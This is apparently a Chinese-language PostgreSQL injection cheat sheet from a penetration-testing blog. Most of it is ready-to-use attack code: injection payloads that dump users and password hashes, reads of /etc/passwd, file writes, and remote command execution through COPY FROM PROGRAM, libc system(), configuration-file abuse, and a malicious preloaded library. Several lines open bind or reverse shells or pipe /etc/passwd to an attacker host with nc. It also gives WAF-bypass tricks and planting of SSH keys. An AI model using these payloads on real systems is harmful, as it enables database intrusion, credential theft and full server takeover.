PostgreSQL Injection

0x00 Sqli

1、注释

1
2
--
/**/

2、查询版本

1
SELECT version()

3、查询用户

1
2
3
4
5
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();

4、列用户

1
SELECT usename FROM pg_user

5、列举用户hash

1
SELECT usename, passwd FROM pg_shadow

6、列出数据库管理员帐户

1
SELECT usename FROM pg_user WHERE usesuper IS TRUE

7、列举权限

1
SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user

8、列举当前db名称

1
SELECT current_database()

9、列举db

1
SELECT datname FROM pg_database

10、列举表名

1
SELECT table_name FROM information_schema.tables

11、列举列名

1
SELECT column_name FROM information_schema.columns WHERE table_name='data_table'

12、报错注入

1
2
3
4
5
6
7
8
9
,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC)
,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name='data_table'+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)

' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1
' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1

13、xml helper

1
select query_to_xml('select * from pg_user',true,true,''); -- 可返回所有结果,可在报错注入中使用,另外query语句是个string就行,可进行拼接等方式进行waf绕过

1
2
select database_to_xml(true,true,''); -- dump the current database to XML
select database_to_xmlschema(true,true,''); -- dump the current db to an XML schema

14、盲注

1
2
' and substr(version(),1,10) = 'PostgreSQL' and '1  -> OK
' and substr(version(),1,10) = 'PostgreXXX' and '1 -> KO

15、延时注入

1
2
AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))

16、堆叠查询
使用;进行语句分割

1
http://host/vuln.php?id=injection';create table NotSoSecure (data varchar(200));--

17、查询机器ip

1
2
select inet_server_addr();
select inet_client_addr();

对于DB服务器的ip,除了上面的查询,还可以通过读取/proc/net/fib_trie 来获取。

0x01 文件读取

1
2
select pg_ls_dir('./');
select pg_read_file('PG_VERSION', 0, 200);

老版本的postgre不支持绝对路径。新版本支持default_role_read_server_files组的用户或者超级用户使用绝对路径进行文件读取。

利用copy进行文件读取:

1
2
3
4
CREATE TABLE temp(t TEXT);
COPY temp FROM '/etc/passwd';
SELECT query_to_xml('SELECT * FROM temp',true,true,'');
DROP TABLE IF EXISTS temp;

利用 large object 进行文件读取

1
2
3
SELECT lo_import('/etc/passwd'); -- will create a large object from the file and return the OID
SELECT lo_get(16420); -- use the OID returned from the above
SELECT * from pg_largeobject; -- or just get all the large objects and their data

获取OID方式

1
2
3
SELECT loid from pg_largeobject ORDER BY loid desc limit 1 OFFSET  0
select CAST((select loid||$$|$$ FROM pg_largeobject ORDER BY loid desc limit 1 OFFSET 0) as int) --报错注入使用
select CAST((select oid||$$|$$ FROM pg_largeobject_metadata ORDER BY oid desc limit 1 OFFSET 0) as int) --报错注入使用

删除OID

1
SELECT lo_unlink(OID) ;

0x02 文件写入

1
2
3
4
CREATE TABLE pentestlab (t TEXT);
INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash');
SELECT * FROM pentestlab;
COPY pentestlab(t) TO '/tmp/pentestlab';
1
2
3
4
SELECT lo_from_bytea(43210, 'your file data goes in here'); -- create a large object with OID 43210 and some data
SELECT lo_from_bytea(43210, decode('encode base64 string', 'base64')); 通过base64数据写文件
SELECT lo_put(43210, 20, 'some other data'); -- append data to a large object at offset 20
SELECT lo_export(43210, '/tmp/testexport'); -- export data to /tmp/testexport

OID可以自己随便指定一个,lo_put 为追加文件。

0x03 命令执行

1、 CVE-2019–9193
可以直连db或者执行多语句的时候。
拿回显:

1
2
3
4
5
DROP TABLE IF EXISTS cmd_exec;          -- [Optional] Drop the table you want to use if it already exists
CREATE TABLE cmd_exec(cmd_output text); -- Create the table you want to hold the command output
COPY cmd_exec FROM PROGRAM 'id'; -- Run the system command via the COPY FROM PROGRAM function
SELECT * FROM cmd_exec; -- [Optional] View the results
DROP TABLE IF EXISTS cmd_exec; -- [Optional] Remove the table

只执行

1
COPY (select 1) TO PROGRAM 'id';

2、Using libc.so.6

1
2
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

3、利用udfsqlmap udf
需要对应postgre版本。

1
2
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/xxx/cmd.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
SELECT sys_eval("id");

4、Using Config file
多语句不能使用的情况下,可利用配置文件进行命令执行。
a、 PG version > 10
参考postgres-sqli,可利用 ssl_passphrase_command进行RCE。
利用条件为,需要修改配置文件开启SSL

1
ssl on

另外,需要私钥配置一个密码,给私钥加密码可以利用openssl:

1
openssl rsa -aes256 -in private.key -out private_passphrase.key

利用配置为:

1
2
3
4
5
ssl = on
ssl_cert_file = '/etc/ssl/certs/ssl-cert-snakeoil.pem'
ssl_key_file = '/var/lib/postgresql/11/main/PG_VERSION'
ssl_passphrase_command_supports_reload = on
ssl_passphrase_command = 'bash -c "test -p /dev/shm/pipe || mkfifo /dev/shm/pipe; nc 192.168.122.1 8000 < /dev/shm/pipe | /bin/bash > /dev/shm/pipe & echo passphrase; exit 0"'

其中ssl_cert_file为证书文件,如果没有,可自己上传到/tmp路径进行引用,ssl_key_file带密码的私钥文件,由于此文件需要权限为0600,所以可对PG的PG_VERSION进行覆盖,PG_VERSION路径与配置文件路径相同。ssl_passphrase_command可修改为要执行的命令,其中echo passphrasepassphrase为私钥设置的密码。

具体操作为,获取pg配置路径:

1
select setting from pg_settings where name='config_file'

如果配置文件路径为etc/postgresql/11/main/postgresql.conf', 则要覆盖的PG_VERSION路径为/var/lib/postgresql/11/main/PG_VERSION

通过文件读取的方式读取配置文件查看是否配置了SSL,如果已配置了证书及key,需要读取其key文件,并对其key文件设置密码,如果未配置,可自己本地生成并通过文件写入的方式进行写入。注意:一定要把原配置文件进行备份!!! 方便攻击完成之后进行恢复!!!

1
2
3
4
5
6
7
8
9
10
11
简要过程:
1、读取配置文件;
2、如未配置证书文件,则本地生成一个证书文件;
3、给对应证书的秘钥文件添加密码;
4、修改配置文件,添加上面的SSL利用配置;
5、将修改好的证书、秘钥文件写入服务器;
6、将修改的配置文件进行配置文件替换;
7、触发攻击;
触发攻击方式为:
SELECT pg_reload_conf()
8、恢复配置文件。

b、All version
低版本的PG没有ssl_passphrase_command,查看文档发现可以使用archive_command,但是要求数据库服务重启!!
利用方式为添加以下配置:

1
2
3
archive_mode = on    
archive_command = "touch /tmp/xxxx"
archive_timeout = ​ ​10

其中archive_timeout表示每十秒执行一次,archive_command 为要执行的命令。
修改配置文件以后,在PG服务重启后,会执行archive_command配置的命令。

另外,利用写文件可以写authorized_keys, 但是如果没有.ssh目录的时候,可以利用配置文件进行目录创建(这里需要PG已经开机了LOG功能,否则依然需要重启PG服务)。具体操作为:
修改配置文件,修改log_directory为.ssh目录。

1
2
3
4
5
6
7
log_destination = 'csvlog'
log_directory = '/home/postgresql/.ssh/'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
log_rotation_age = '1d'
log_rotation_size = '512MB'
log_timezone = 'Asia/Hong_Kong'
logging_collector = 'on'

替换conf文件并执行:

1
SELECT pg_reload_conf()

之后再写入authorized_keys即可。

c、 All version
利用session_preload_libraries
首先需要知道服务器端PG的版本,然后根据其版本来编译利用库。利用代码:
exp.c

1
2
3
4
5
6
7
8
9
10
#include "postgres.h"
#include "fmgr.h"
#include <stdlib.h>

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
void __attribute__((constructor)) pwn(void){
system("touch /tmp/bbbbbbbb");
}

可在对应系统下载对应版本postgresql-server-dev-x,然后使用以下命令进行编译:

1
gcc exp.c -I `pg_config --includedir-server`  -fPIC -shared -o exp.so

之后将exp.so上传至数据库服务器。
修改配置文件添加:

1
session_preload_libraries='/tmp/exp.so'

覆盖配置文件,并进行reload。

1
SELECT pg_reload_conf()

当有新连接产生时,会触发加载.so达到RCE。

必须保证.so没问题(版本对应),否则会导致db挂掉。

0x04 Bypass

使用CHR

1
SELECT CHR(65)||CHR(66)||CHR(67);

使用美元符号

1
2
SELECT $$This is a string$$
SELECT $TAG$This is another string$TAG$

美元符可替换引号。

0x05 References

------本文结束,感谢阅读------